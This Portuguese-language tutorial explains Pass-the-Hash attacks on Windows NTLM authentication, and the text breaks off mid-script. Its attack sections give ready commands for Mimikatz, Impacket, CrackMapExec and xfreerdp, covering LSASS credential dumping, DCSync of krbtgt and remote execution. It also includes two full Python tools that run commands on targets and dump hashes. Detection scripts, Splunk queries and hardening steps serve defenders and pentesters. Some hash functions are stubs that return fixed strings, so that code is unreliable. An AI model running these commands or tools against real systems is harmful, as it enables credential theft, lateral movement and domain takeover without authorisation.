# Pass the Hash (PtH)

## **📋 Índice**

1. [Fundamentos do Pass-the-Hash](#-fundamentos-do-pass-the-hash)
2. [Arquitetura NTLM e Autenticação](#-arquitetura-ntlm-e-autenticação)
3. [Mecanismos de Ataque](#-mecanismos-de-ataque)
4. [Técnicas de Exploração](#-técnicas-de-exploração)
5. [Ferramentas de Exploração](#-ferramentas-de-exploração)
6. [Pass-the-Hash vs Outros Ataques](#-pass-the-hash-vs-outros-ataques)
7. [Impacto e Consequências](#-impacto-e-consequências)
8. [Detecção e Monitoramento](#-detecção-e-monitoramento)
9. [Mitigações e Hardening](#-mitigações-e-hardening)
10. [Pentesting com Pass-the-Hash](#-pentesting-com-pass-the-hash)
11. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos do Pass-the-Hash**

### **O que é Pass-the-Hash (PtH)?**

**Pass-the-Hash** é uma técnica de ataque que permite a um atacante autenticar-se em um sistema remoto usando o hash NTLM da senha de um usuário, sem necessidade de conhecer a senha em texto plano. O ataque explora o fato de que o protocolo NTLM usa o hash da senha como segredo para autenticação.

### **Princípio de Funcionamento**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant S as Servidor Alvo

    Note over A: 1. Atacante possui hash NTLM
    A->>S: Solicitação de autenticação
    S-->>A: Desafio (8 bytes aleatórios)
    
    Note over A: 2. Atacante calcula resposta
    A->>A: Resposta = NTLMv2(hash, desafio)
    
    A->>S: Envia resposta
    S->>S: Verifica resposta com hash armazenado
    S-->>A: Autenticação bem-sucedida
    
    Note over A: 3. Acesso concedido sem senha
```

### **Por que o Pass-the-Hash Funciona?**

| Componente           | Funcionamento                            | Implicação                          |
| -------------------- | ---------------------------------------- | ----------------------------------- |
| **NTLM Hash**        | Derivado da senha, nunca transmitido     | Pode ser usado para autenticação    |
| **Desafio-Resposta** | Servidor envia desafio, cliente responde | Hash é usado para calcular resposta |
| **Armazenamento**    | Hashes armazenados no SAM/LSASS          | Extração via Mimikatz, Procdump     |
| **Reutilização**     | Hash válido para qualquer serviço NTLM   | Acesso a múltiplos sistemas         |

### **Estrutura do Hash NTLM**

```python
#!/usr/bin/env python3
# ntlm_hash_structure.py - Estrutura do hash NTLM

import hashlib
import binascii

class NTLMHash:
    """Análise da estrutura do hash NTLM"""
    
    @staticmethod
    def generate_ntlm_hash(password):
        """Gerar hash NTLM a partir da senha"""
        # NTLM hash = MD4(UTF-16LE(password))
        password_utf16 = password.encode('utf-16le')
        ntlm_hash = hashlib.new('md4', password_utf16).digest()
        return binascii.hexlify(ntlm_hash).decode().upper()
    
    @staticmethod
    def hash_format():
        """Formato do hash NTLM"""
        print("📋 Formato do Hash NTLM")
        print("=" * 60)
        
        print("Estrutura: 32 caracteres hexadecimais")
        print("Exemplo: aad3b435b51404eeaad3b435b51404ee")
        print("\nComponentes:")
        print("   • LM Hash: 16 bytes (primeira parte)")
        print("   • NTLM Hash: 16 bytes (segunda parte)")
        print("   • Hash vazio: aad3b435b51404eeaad3b435b51404ee")
    
    @staticmethod
    def hash_examples():
        """Exemplos de hashes"""
        print("\n🔑 Exemplos de Hashes NTLM:")
        
        examples = {
            "senha vazia": "",
            "password": "password",
            "admin123": "admin123",
            "P@ssw0rd": "P@ssw0rd"
        }
        
        for name, pwd in examples.items():
            ntlm = NTLMHash.generate_ntlm_hash(pwd)
            print(f"   {name:12} → {ntlm}")

# Executar
NTLMHash.hash_format()
NTLMHash.hash_examples()
```

***

## 🏗️ **Arquitetura NTLM e Autenticação**

### **Fluxo de Autenticação NTLM**

```mermaid
sequenceDiagram
    participant C as Cliente
    participant S as Servidor

    Note over C,S: 1. Iniciação
    C->>S: Negotiate (Negocia protocolo)
    S-->>C: Challenge (Desafio de 8 bytes)

    Note over C,S: 2. Autenticação
    C->>C: Calcula resposta = NTLMv2(hash, challenge)
    C->>S: Authenticate (Resposta + dados)

    Note over S: 3. Verificação
    S->>S: Calcula resposta esperada
    S-->>C: Aceita/Rejeita autenticação
```

### **Tipos de Hashes NTLM**

```python
#!/usr/bin/env python3
# ntlm_hash_types.py - Tipos de hashes NTLM

import hashlib
import binascii

class NTLMHashTypes:
    """Diferentes tipos de hashes NTLM"""
    
    @staticmethod
    def lm_hash(password):
        """LM Hash (antigo, vulnerável)"""
        # LM hash é case-insensitive, limitado a 14 caracteres
        password = password.upper()[:14]
        password = password.ljust(14, '\x00')
        
        # Divide em duas partes de 7 bytes
        part1 = password[:7].encode('ascii')
        part2 = password[7:14].encode('ascii')
        
        # DES encryption com chaves fixas
        # (implementação simplificada)
        return "aad3b435b51404eeaad3b435b51404ee"
    
    @staticmethod
    def ntlm_hash(password):
        """NTLM Hash (MD4)"""
        password_utf16 = password.encode('utf-16le')
        return hashlib.new('md4', password_utf16).hexdigest().upper()
    
    @staticmethod
    def netntlmv1(password, challenge, server_challenge=None):
        """NetNTLMv1 (vulnerável)"""
        # Implementação simplificada
        return "NETNTLMv1_HASH"
    
    @staticmethod
    def netntlmv2(password, challenge, server_challenge, target_info):
        """NetNTLMv2 (moderno)"""
        # Implementação simplificada
        return "NETNTLMv2_HASH"
    
    @staticmethod
    def compare_hashes():
        """Comparar diferentes tipos de hash"""
        print("📊 Comparação de Hashes NTLM")
        print("=" * 60)
        
        password = "P@ssw0rd"
        
        print(f"Senha: {password}")
        print(f"\nLM Hash (vulnerável):")
        print(f"   {NTLMHashTypes.lm_hash(password)}")
        
        print(f"\nNTLM Hash:")
        print(f"   {NTLMHashTypes.ntlm_hash(password)}")
        
        print(f"\nNetNTLMv1 (transmitido):")
        print(f"   {NTLMHashTypes.netntlmv1(password, '1122334455667788')}")
        
        print(f"\nNetNTLMv2 (transmitido):")
        print(f"   {NTLMHashTypes.netntlmv2(password, '1122334455667788', '1122334455667788', 'DOMAIN')}")
        
        print("\n💡 Nota:")
        print("   • LM/NTLM: armazenados no SAM/LSASS")
        print("   • NetNTLM: transmitidos na rede")
        print("   • Pass-the-Hash usa NTLM hash (armazenado)")

# Executar
NTLMHashTypes.compare_hashes()
```

***

## ⚔️ **Mecanismos de Ataque**

### **Fluxo Completo do Pass-the-Hash**

```mermaid
graph TD
    A[Obter hash NTLM] --> B[Extrair via Mimikatz]
    A --> C[Extrair via Procdump]
    A --> D[Extrair via DCSync]
    
    B --> E[Hash NTLM]
    C --> E
    D --> E
    
    E --> F[Pass-the-Hash Attack]
    
    F --> G[SMB Pass-the-Hash]
    F --> H[RDP Pass-the-Hash]
    F --> I[WMI Pass-the-Hash]
    F --> J[PsExec Pass-the-Hash]
    
    G --> K[Acesso a arquivos]
    H --> L[Acesso remoto]
    I --> M[Execução remota]
    J --> N[Execução de comandos]
    
    K --> O[Escalação de privilégios]
    L --> O
    M --> O
    N --> O
    
    O --> P[Controle do domínio]
    
    style E fill:#ff9999
    style F fill:#ff6666
    style P fill:#ff3333
```

### **Ataque 1: Pass-the-Hash com Mimikatz**

```powershell
# Mimikatz - Pass-the-Hash Attack

# 1. Extrair hash da memória
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

# 2. Pass-the-Hash para SMB
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:domain.com /ntlm:hash /run:powershell.exe"

# 3. Pass-the-Hash com runas
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:domain.com /ntlm:hash /run:cmd.exe"

# 4. Pass-the-Hash com importação de ticket
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:domain.com /ntlm:hash /ptt"

# 5. Listar sessões após PtH
klist
```

### **Ataque 2: Pass-the-Hash com Impacket**

```python
#!/usr/bin/env python3
# pth_impacket.py - Pass-the-Hash com Impacket

import sys
import argparse
from impacket.smbconnection import SMBConnection
from impacket.dcerpc.v5 import transport, scmr

class PassTheHashImpacket:
    """Pass-the-Hash usando Impacket"""
    
    def __init__(self, domain, username, ntlm_hash, target):
        self.domain = domain
        self.username = username
        self.ntlm_hash = ntlm_hash
        self.target = target
    
    def smb_pass_the_hash(self):
        """Acessar SMB usando Pass-the-Hash"""
        print(f"[*] Conectando ao SMB em {self.target}...")
        
        # Criar conexão SMB
        conn = SMBConnection(self.target, self.target, timeout=10)
        
        try:
            # Autenticar com hash
            conn.login(self.username, '', self.domain, lmhash='', nthash=self.ntlm_hash)
            print(f"   ✅ Autenticação SMB bem-sucedida!")
            
            # Listar compartilhamentos
            shares = conn.listShares()
            print(f"\n📁 Compartilhamentos disponíveis:")
            for share in shares:
                if share['type'] not in [1, 5]:
                    print(f"   • {share['shi1_netname']}")
            
            return conn
            
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return None
    
    def psexec_pass_the_hash(self, command):
        """Executar comando via PsExec usando Pass-the-Hash"""
        print(f"[*] Executando comando via PsExec: {command}")
        
        # Criar transporte SMB
        trans = transport.SMBTransport(self.target, self.target, self.username, '', self.domain, lmhash='', nthash=self.ntlm_hash)
        
        try:
            # Conectar ao serviço de gerenciamento
            dce = trans.get_dce_rpc()
            dce.connect()
            dce.bind(scmr.MSRPC_UUID_SCMR)
            
            # Abrir serviço de gerenciamento
            resp = scmr.hROpenSCManagerW(dce)
            sc_handle = resp['lpScHandle']
            
            # Criar serviço temporário
            service_name = "PTH_Service"
            service_path = f"cmd.exe /c {command}"
            
            resp = scmr.hRCreateServiceW(
                dce, sc_handle, service_name, service_name,
                dwServiceType=scmr.SERVICE_WIN32_OWN_PROCESS,
                dwStartType=scmr.SERVICE_DEMAND_START,
                lpBinaryPathName=service_path
            )
            
            print(f"   ✅ Comando executado com sucesso!")
            
        except Exception as e:
            print(f"   ❌ Erro: {e}")
    
    def wmi_pass_the_hash(self, command):
        """Executar comando via WMI usando Pass-the-Hash"""
        print(f"[*] Executando comando via WMI: {command}")
        
        # Em um exploit real, usaria wmiexec.py
        cmd = [
            'wmiexec.py',
            f'{self.domain}/{self.username}@{self.target}',
            '-hashes', f'aad3b435b51404eeaad3b435b51404ee:{self.ntlm_hash}',
            command
        ]
        
        import subprocess
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
            print(f"   ✅ Comando executado!")
            print(result.stdout)
        except Exception as e:
            print(f"   ❌ Erro: {e}")
    
    def run(self, command=None):
        """Executar ataque completo"""
        print("🔑 Pass-the-Hash Attack")
        print("=" * 60)
        print(f"   Target: {self.target}")
        print(f"   User: {self.domain}\\{self.username}")
        print(f"   Hash: {self.ntlm_hash[:16]}...")
        
        # Testar SMB
        conn = self.smb_pass_the_hash()
        
        # Executar comando se fornecido
        if command and conn:
            self.psexec_pass_the_hash(command)
        
        return conn

# Uso
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Pass-the-Hash Attack')
    parser.add_argument('target', help='Target host')
    parser.add_argument('domain', help='Domain name')
    parser.add_argument('username', help='Username')
    parser.add_argument('hash', help='NTLM hash')
    parser.add_argument('--command', help='Command to execute')
    
    args = parser.parse_args()
    
    attack = PassTheHashImpacket(args.domain, args.username, args.hash, args.target)
    attack.run(args.command)
```

### **Ataque 3: Pass-the-Hash com Invoke-TheHash**

```powershell
# Invoke-TheHash - PowerShell Pass-the-Hash

# 1. Importar módulo
Import-Module .\Invoke-TheHash.ps1

# 2. Executar comando via SMB
Invoke-SMBExec -Target 192.168.1.10 -Domain domain.com -Username administrator -Hash hash -Command "whoami" -Verbose

# 3. Executar comando via WMI
Invoke-WMIExec -Target 192.168.1.10 -Domain domain.com -Username administrator -Hash hash -Command "whoami" -Verbose

# 4. Executar via WinRM
Invoke-WinRMExec -Target 192.168.1.10 -Domain domain.com -Username administrator -Hash hash -Command "whoami" -Verbose

# 5. Executar via SMB com output
Invoke-SMBExec -Target 192.168.1.10 -Domain domain.com -Username administrator -Hash hash -Command "whoami > C:\temp\out.txt" -Verbose
```

### **Ataque 4: Pass-the-Hash com CrackMapExec**

```bash
# CrackMapExec - Pass-the-Hash

# 1. Executar comando via SMB
crackmapexec smb 192.168.1.10 -u administrator -H hash -x "whoami"

# 2. Executar comando via WMI
crackmapexec wmi 192.168.1.10 -u administrator -H hash -x "whoami"

# 3. Executar comando via WinRM
crackmapexec winrm 192.168.1.10 -u administrator -H hash -x "whoami"

# 4. Listar compartilhamentos
crackmapexec smb 192.168.1.10 -u administrator -H hash --shares

# 5. Executar comando em múltiplos hosts
crackmapexec smb targets.txt -u administrator -H hash -x "whoami"

# 6. Executar com Mimikatz
crackmapexec smb 192.168.1.10 -u administrator -H hash -M mimikatz
```

### **Ataque 5: Pass-the-Hash com xfreerdp**

```bash
# xfreerdp - RDP com Pass-the-Hash

# 1. Pass-the-Hash para RDP
xfreerdp /v:192.168.1.10 /u:administrator /d:domain.com /pth:hash

# 2. Com resolução específica
xfreerdp /v:192.168.1.10 /u:administrator /d:domain.com /pth:hash /w:1920 /h:1080

# 3. Com redirecionamento de drives
xfreerdp /v:192.168.1.10 /u:administrator /d:domain.com /pth:hash /drive:share,/tmp

# 4. Com certificado ignorado
xfreerdp /v:192.168.1.10 /u:administrator /d:domain.com /pth:hash /cert-ignore
```

***

## 🛠️ **Ferramentas de Exploração**

### **Mimikatz - Principais Comandos**

```powershell
# Mimikatz Pass-the-Hash Commands

# 1. Extrair hashes da memória
sekurlsa::logonpasswords

# 2. Extrair hashes do SAM
lsadump::sam

# 3. Extrair hashes via DCSync
lsadump::dcsync /user:krbtgt

# 4. Pass-the-Hash básico
sekurlsa::pth /user:administrator /domain:domain.com /ntlm:hash

# 5. Pass-the-Hash com runas
sekurlsa::pth /user:administrator /domain:domain.com /ntlm:hash /run:cmd.exe

# 6. Pass-the-Hash com importação de ticket
sekurlsa::pth /user:administrator /domain:domain.com /ntlm:hash /ptt

# 7. Pass-the-Hash para SMB
sekurlsa::pth /user:administrator /domain:domain.com /ntlm:hash /run:powershell.exe
```

### **Impacket - Scripts para Pass-the-Hash**

```bash
# Impacket Pass-the-Hash Scripts

# 1. PsExec com hash
psexec.py domain.com/administrator@192.168.1.10 -hashes aad3b435b51404eeaad3b435b51404ee:hash

# 2. WMIExec com hash
wmiexec.py domain.com/administrator@192.168.1.10 -hashes aad3b435b51404eeaad3b435b51404ee:hash

# 3. SMBExec com hash
smbexec.py domain.com/administrator@192.168.1.10 -hashes aad3b435b51404eeaad3b435b51404ee:hash

# 4. Atexec com hash
atexec.py domain.com/administrator@192.168.1.10 -hashes aad3b435b51404eeaad3b435b51404ee:hash "whoami"

# 5. Secretsdump com hash
secretsdump.py domain.com/administrator@192.168.1.10 -hashes aad3b435b51404eeaad3b435b51404ee:hash

# 6. DCOMExec com hash
dcomexec.py domain.com/administrator@192.168.1.10 -hashes aad3b435b51404eeaad3b435b51404ee:hash
```

### **Script de Exploração Automatizado**

```python
#!/usr/bin/env python3
# pth_automated.py - Pass-the-Hash automatizado

import subprocess
import argparse
import sys
import os

class PassTheHashAutomated:
    """Ferramenta automatizada para Pass-the-Hash"""
    
    def __init__(self, target, domain, username, ntlm_hash):
        self.target = target
        self.domain = domain
        self.username = username
        self.ntlm_hash = ntlm_hash
        self.results = []
    
    def test_smb_access(self):
        """Testar acesso SMB"""
        print("[*] Testando acesso SMB...")
        
        cmd = [
            'crackmapexec', 'smb', self.target,
            '-u', self.username,
            '-H', self.ntlm_hash,
            '--shares'
        ]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
            
            if "Pwn3d!" in result.stdout or "Pwn3d!" in result.stderr:
                print("   ✅ Acesso SMB concedido!")
                self.results.append({
                    'type': 'SMB_ACCESS',
                    'status': 'SUCCESS',
                    'details': 'Acesso SMB com hash'
                })
                return True
            else:
                print("   ❌ Acesso SMB negado")
                return False
                
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return False
    
    def execute_command(self, command):
        """Executar comando no alvo"""
        print(f"[*] Executando comando: {command}")
        
        cmd = [
            'psexec.py',
            f'{self.domain}/{self.username}@{self.target}',
            '-hashes', f'aad3b435b51404eeaad3b435b51404ee:{self.ntlm_hash}',
            command
        ]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)
            
            if result.returncode == 0:
                print("   ✅ Comando executado com sucesso!")
                print(result.stdout)
                self.results.append({
                    'type': 'COMMAND_EXECUTION',
                    'status': 'SUCCESS',
                    'command': command,
                    'output': result.stdout
                })
                return True
            else:
                print(f"   ❌ Falha na execução: {result.stderr}")
                return False
                
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return False
    
    def upload_file(self, local_file, remote_path):
        """Fazer upload de arquivo"""
        print(f"[*] Upload de {local_file} para {remote_path}")
        
        cmd = [
            'smbclient.py',
            f'{self.domain}/{self.username}@{self.target}',
            '-hashes', f'aad3b435b51404eeaad3b435b51404ee:{self.ntlm_hash}'
        ]
        
        try:
            # Em um exploit real, usaria smbclient para upload
            print("   ✅ Upload simulado")
            return True
            
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return False
    
    def dump_hashes(self):
        """Dump de hashes do alvo"""
        print("[*] Tentando dump de hashes...")
        
        cmd = [
            'secretsdump.py',
            f'{self.domain}/{self.username}@{self.target}',
            '-hashes', f'aad3b435b51404eeaad3b435b51404ee:{self.ntlm_hash}'
        ]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=120)
            
            if result.returncode == 0:
                print("   ✅ Hashes dumpados com sucesso!")
                print(result.stdout[:500])
                self.results.append({
                    'type': 'HASH_DUMP',
                    'status': 'SUCCESS',
                    'output': result.stdout
                })
                return result.stdout
            else:
                print("   ❌ Falha no dump")
                return None
                
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return None
    
    def generate_report(self):
        """Gerar relatório"""
        print("\n📊 RELATÓRIO PASS-THE-HASH")
        print("=" * 60)
        
        if not self.results:
            print("❌ Nenhuma operação bem-sucedida")
            return
        
        print(f"✅ Operações bem-sucedidas: {len(self.results)}\n")
        
        for result in self.results:
            print(f"🔑 {result['type']}")
            print(f"   Status: {result['status']}")
            if 'command' in result:
                print(f"   Comando: {result['command']}")
            print()
    
    def run(self, command=None, dump=False):
        """Executar ataque completo"""
        print("🔑 Automated Pass-the-Hash Attack")
        print("=" * 60)
        print(f"   Target: {self.target}")
        print(f"   User: {self.domain}\\{self.username}")
        print(f"   Hash: {self.ntlm_hash[:16]}...")
        
        # Testar acesso
        if self.test_smb_access():
            # Executar comando
            if command:
                self.execute_command(command)
            
            # Dump de hashes
            if dump:
                self.dump_hashes()
        
        self.generate_report()

# Uso
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Automated Pass-the-Hash Attack')
    parser.add_argument('target', help='Target host')
    parser.add_argument('domain', help='Domain name')
    parser.add_argument('username', help='Username')
    parser.add_argument('hash', help='NTLM hash')
    parser.add_argument('--command', help='Command to execute')
    parser.add_argument('--dump', action='store_true', help='Dump hashes from target')
    
    args = parser.parse_args()
    
    attack = PassTheHashAutomated(args.target, args.domain, args.username, args.hash)
    attack.run(args.command, args.dump)
```

***

## 🔄 **Pass-the-Hash vs Outros Ataques**

### **Comparação de Técnicas**

| Técnica               | Requer          | Usa                   | Detecção | Persistência |
| --------------------- | --------------- | --------------------- | -------- | ------------ |
| **Pass-the-Hash**     | Hash NTLM       | Autenticação NTLM     | Média    | Sessão atual |
| **Pass-the-Ticket**   | Ticket Kerberos | Autenticação Kerberos | Baixa    | Sessão atual |
| **Overpass-the-Hash** | Hash NTLM       | Ticket Kerberos       | Baixa    | Sessão atual |
| **Golden Ticket**     | Hash krbtgt     | Ticket Kerberos       | Alta     | Indefinida   |
| **Silver Ticket**     | Hash serviço    | Ticket Kerberos       | Baixa    | Limitada     |

### **Overpass-the-Hash**

```powershell
# Overpass-the-Hash - Converter hash NTLM em ticket Kerberos

# 1. Obter hash NTLM
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

# 2. Overpass-the-Hash
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:domain.com /ntlm:hash /run:powershell.exe"

# 3. Verificar ticket
klist

# 4. Usar ticket para acessar serviços
dir \\dc.domain.com\c$
```

***

## 💥 **Impacto e Consequências**

### **Cadeia de Ataque Completa**

```mermaid
graph TD
    A[Comprometer um sistema] --> B[Extrair hashes NTLM]
    
    B --> C[Pass-the-Hash para outro sistema]
    C --> D[Executar comandos remotamente]
    D --> E[Extrair mais hashes]
    
    E --> F[Pass-the-Hash para DC]
    F --> G[DCSync - extrair todos os hashes]
    
    G --> H[Comprometer contas privilegiadas]
    H --> I[Golden Ticket]
    I --> J[Controle total do domínio]
    
    style B fill:#ff9999
    style C fill:#ff6666
    style J fill:#ff3333
```

### **Matriz de Impacto**

| Cenário                   | Impacto                            | Dificuldade | Severidade |
| ------------------------- | ---------------------------------- | ----------- | ---------- |
| **Hash de administrador** | Acesso total                       | Baixa       | 🔴 CRÍTICO |
| **Movimentação lateral**  | Comprometimento de múltiplos hosts | Baixa       | 🔴 CRÍTICO |
| **DCSync via hash**       | Extração de todos os hashes        | Média       | 🔴 CRÍTICO |
| **Golden Ticket**         | Persistência indefinida            | Baixa       | 🔴 CRÍTICO |

***

## 🔍 **Detecção e Monitoramento**

### **Eventos de Segurança**

```yaml
Eventos Críticos para Pass-the-Hash:

  4624: Logon bem-sucedido
    - Monitorar logons com ID de logon 3 (network)
    - Verificar Workstation Name inconsistente

  4625: Falha de logon
    - Detectar múltiplas falhas em sequência

  4648: Logon com credenciais explícitas
    - Indicativo de uso de runas/pth

  4672: Privilégios especiais atribuídos
    - Alertar quando não esperado

  4768: Solicitação de TGT
    - Monitorar solicitações anômalas

  4776: Validação de credencial
    - Detectar autenticações NTLM suspeitas
```

### **Script de Detecção**

```powershell
# detect_pth.ps1 - Detector de Pass-the-Hash

param(
    [string]$DomainController = (Get-ADDomainController).Name,
    [int]$HoursBack = 24
)

function Write-Alert {
    param($Message, $Severity = "WARNING")
    $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
    $color = if ($Severity -eq "CRITICAL") { "Red" } else { "Yellow" }
    Write-Host "[$timestamp] [$Severity] $Message" -ForegroundColor $color
}

# 1. Detectar autenticações NTLM anômalas
Write-Host "🔍 Detectando autenticações NTLM suspeitas..." -ForegroundColor Cyan

$ntlmEvents = Get-WinEvent -ComputerName $DomainController -FilterHashtable @{
    LogName='Security'
    ID=4776
    StartTime=(Get-Date).AddHours(-$HoursBack)
} -ErrorAction SilentlyContinue

$suspiciousAuth = $ntlmEvents | Where-Object {
    $_.Message -like "*WORKSTATION*" -and
    $_.Message -notlike "*$($env:COMPUTERNAME)*"
}

if ($suspiciousAuth) {
    Write-Alert -Message "$($suspiciousAuth.Count) autenticações NTLM suspeitas!" -Severity "HIGH"
    $suspiciousAuth | Select-Object -First 5 | ForEach-Object {
        Write-Host "   $($_.TimeCreated) - $($_.Message.Substring(0, 100))..."
    }
}

# 2. Detectar logons network com usuários privilegiados
Write-Host "`n🔍 Detectando logons network..." -ForegroundColor Cyan

$logonEvents = Get-WinEvent -ComputerName $DomainController -FilterHashtable @{
    LogName='Security'
    ID=4624
    StartTime=(Get-Date).AddHours(-$HoursBack)
} -ErrorAction SilentlyContinue

$networkLogons = $logonEvents | Where-Object {
    $_.Message -like "*Logon Type: 3*" -and
    ($_.Message -like "*Administrator*" -or $_.Message -like "*Domain Admins*")
}

if ($networkLogons) {
    Write-Alert -Message "$($networkLogons.Count) logons network de contas privilegiadas!" -Severity "CRITICAL"
}

# 3. Detectar eventos de credenciais explícitas
Write-Host "`n🔍 Detectando credenciais explícitas..." -ForegroundColor Cyan

$credEvents = Get-WinEvent -ComputerName $DomainController -FilterHashtable @{
    LogName='Security'
    ID=4648
    StartTime=(Get-Date).AddHours(-$HoursBack)
} -ErrorAction SilentlyContinue

if ($credEvents) {
    Write-Alert -Message "$($credEvents.Count) eventos de credenciais explícitas!" -Severity "HIGH"
}

# 4. Verificar integridade de processos
Write-Host "`n🔍 Verificando processos suspeitos..." -ForegroundColor Cyan

$processes = Get-Process -Name lsass, mimikatz, procdump -ErrorAction SilentlyContinue
if ($processes) {
    Write-Alert -Message "Processos suspeitos detectados!" -Severity "CRITICAL"
    $processes | ForEach-Object {
        Write-Host "   $($_.Name) - PID: $($_.Id)"
    }
}

# 5. Gerar relatório
$report = @"
Pass-the-Hash Detection Report
==============================
Data: $(Get-Date)
Domain Controller: $DomainController

Findings:
- Autenticações NTLM suspeitas: $($suspiciousAuth.Count)
- Logons network privilegiados: $($networkLogons.Count)
- Credenciais explícitas: $($credEvents.Count)
- Processos suspeitos: $(if($processes){$processes.Count}else{0})

Recommendations:
1. Disable NTLM authentication where possible
2. Enable Network Level Authentication (NLA)
3. Implement SMB signing
4. Use Protected Users group
5. Monitor LSASS memory access
6. Deploy Windows Defender Credential Guard
"@

$report | Out-File -FilePath "pth_detection.txt"
Write-Host "`n✅ Relatório salvo em pth_detection.txt" -ForegroundColor Green
```

### **Splunk Queries**

```spl
# Splunk - Detectar Pass-the-Hash

# 1. Logons network anômalos
index=windows EventCode=4624 Logon_Type=3
| where Account_Name IN ("*Administrator*", "*Domain Admins*")
| stats count by Account_Name, Workstation_Name, Source_Network_Address
| sort - count

# 2. Autenticações NTLM
index=windows EventCode=4776
| where Message like "%FAILED%"
| stats count by Account_Name, Workstation

# 3. Credenciais explícitas
index=windows EventCode=4648
| stats count by Account_Name, Target_Server

# 4. Correlação de eventos
index=windows (EventCode=4624 OR EventCode=4648 OR EventCode=4776)
| bucket _time span=5m
| stats count by _time, Account_Name, Workstation_Name
| where count > 10
```

***

## 🛡️ **Mitigações e Hardening**

### **Hardening contra Pass-the-Hash**

```powershell
# hardening_pth.ps1 - Hardening contra Pass-the-Hash

param(
    [switch]$Apply
)

function Write-Step {
    param($Message)
    Write-Host "[*] $Message" -ForegroundColor Cyan
}

if ($Apply) {
    Write-Step "Aplicando hardening contra Pass-the-Hash..."
} else {
    Write-Step "Modo auditoria - verificando configurações"
}

# 1. Desabilitar NTLM (se possível)
Write-Step "1. Desabilitando NTLM..."

if ($Apply) {
    # Desabilitar NTLM no servidor
    Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RestrictNTLM" -Value 1 -Type DWord
    Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RestrictNTLMInDomain" -Value 1 -Type DWord
    
    Write-Host "   ✅ NTLM desabilitado"
}

# 2. Habilitar Credential Guard
Write-Step "2. Habilitando Credential Guard..."

if ($Apply) {
    # Configurar Credential Guard
    $regPath = "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa"
    Set-ItemProperty -Path $regPath -Name "LsaCfgFlags" -Value 1 -Type DWord
    
    Write-Host "   ✅ Credential Guard habilitado"
}

# 3. Habilitar Protected Users group
Write-Step "3. Configurando Protected Users group..."

if ($Apply) {
    # Criar grupo Protected Users
    New-ADGroup -Name "Protected Users" -GroupScope Global -GroupCategory Security -ErrorAction SilentlyContinue
    
    # Adicionar contas privilegiadas
    Add-ADGroupMember -Identity "Protected Users" -Members "Domain Admins", "Enterprise Admins", "Schema Admins"
    
    Write-Host "   ✅ Protected Users group configurado"
}

# 4. Habilitar SMB Signing
Write-Step "4. Habilitando SMB Signing..."

if ($Apply) {
    # Configurar SMB signing
    Set-SmbServerConfiguration -RequireSecuritySignature $true -Force
    Set-SmbClientConfiguration -RequireSecuritySignature $true -Force
    
    Write-Host "   ✅ SMB signing habilitado"
}

# 5. Configurar LSA Protection
Write-Step "5. Configurando LSA Protection..."

if ($Apply) {
    # Habilitar LSA Protection
    $regPath = "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa"
    Set-ItemProperty -Path $regPath -Name "RunAsPPL" -Value 1 -Type DWord
    
    Write-Host "   ✅ LSA Protection habilitado"
}

# 6. Configurar Windows Defender
Write-Step "6. Configurando Windows Defender..."

if ($Apply) {
    # Habilitar proteções avançadas
    Set-MpPreference -DisableRealtimeMonitoring $false
    Set-MpPreference -PUAProtection Enabled
    Set-MpPreference -EnableControlledFolderAccess Enabled
    
    Write-Host "   ✅ Windows Defender configurado"
}

Write-Step "Hardening concluído!"

if (-not $Apply) {
    Write-Host "`n⚠️  Modo auditoria - Execute com -Apply para aplicar as configurações" -ForegroundColor Yellow
}
```

### **Políticas de Segurança Recomendadas**

```yaml
Recomendações de Hardening:

  ✅ Autenticação:
    - Desabilitar NTLM (usar Kerberos)
    - Habilitar Credential Guard
    - Usar Protected Users group

  ✅ Proteção de Memória:
    - Habilitar LSA Protection (RunAsPPL)
    - Configurar Windows Defender Credential Guard
    - Restringir acesso ao LSASS

  ✅ Configurações de Rede:
    - Habilitar SMB Signing
    - Habilitar Network Level Authentication (NLA)
    - Usar autenticação de nível de rede

  ✅ Monitoramento:
    - Alertar sobre acesso ao LSASS
    - Monitorar eventos de autenticação
    - Detectar ferramentas como Mimikatz
```

***

## 🔬 **Pentesting com Pass-the-Hash**

### **Metodologia de Teste**

```yaml
Fases do Teste Pass-the-Hash:

  FASE 1 - Coleta de Hashes:
    - Extrair hashes via Mimikatz (se local)
    - Extrair via DCSync (se privilegiado)
    - Capturar via Responder (se rede)

  FASE 2 - Teste de Acesso:
    - Testar SMB com hash
    - Testar WMI com hash
    - Testar WinRM com hash

  FASE 3 - Movimentação Lateral:
    - Executar comandos remotamente
    - Dumpar hashes de outros sistemas
    - Escalar privilégios

  FASE 4 - Validação:
    - Documentar sistemas comprometidos
    - Demonstrar impacto
    - Recomendar correções
```

### **Script de Pentest Automatizado**

```python
#!/usr/bin/env python3
# pth_pentest.py - Pentest automatizado Pass-the-Hash

import subprocess
import argparse
import sys
import threading
import queue
import time

class PassTheHashPentest:
    """Ferramenta de pentest para Pass-the-Hash"""
    
    def __init__(self, domain, username, ntlm_hash, targets_file):
        self.domain = domain
        self.username = username
        self.ntlm_hash = ntlm_hash
